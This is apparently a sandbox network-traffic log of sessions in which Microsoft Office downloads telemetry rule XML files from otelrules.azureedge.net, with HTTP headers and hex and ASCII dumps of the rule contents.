2024-10-07 19:53:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195318Z-1657d5bbd48762wn1qw4s5sd3000000003rg00000000x02p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49870	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:17 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:18 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7ed04703-601e-0002-119e-18a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195318Z-1657d5bbd48hzllksrq1r6zsvs000000012g00000000w2hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:18 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49866	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:17 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:17 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195317Z-1657d5bbd48xdq5dkwwugdpzr000000004ag000000005bnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:18 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49873	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:18 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 78a0432a-701e-001e-1805-17f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195318Z-1657d5bbd48762wn1qw4s5sd3000000003s000000000sfbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49872	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:18 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195318Z-1657d5bbd48sqtlf1huhzuwq7000000003r0000000009vt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49874	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:18 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f519f63-901e-0016-75ff-16efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd48f7nlxc7n5fnfzh000000003h000000000qccb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49875	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:18 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ef9cab6f-f01e-0099-0d00-179171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd4824mj9d6vp65b6n40000000480000000000kzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49871	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:18 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:18 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195318Z-1657d5bbd48qjg85buwfdynm5w00000003yg00000000v2bf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49877	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:19 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 821e4157-c01e-0014-3301-17a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd48xsz2nuzq4vfrzg800000003rg00000000tb25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49876	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:19 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: b67c2655-301e-0096-2300-17e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd487nf59mzf5b3gk8n00000003f000000000w6wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49879	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:19 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 897bc565-f01e-0096-5e60-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd48brl8we3nu8cxwgn000000047g00000000kafm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49878	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:19 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 763e8d43-601e-000d-6912-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd48wd55zet5pcra0cg00000003ug00000000uk8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49880	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
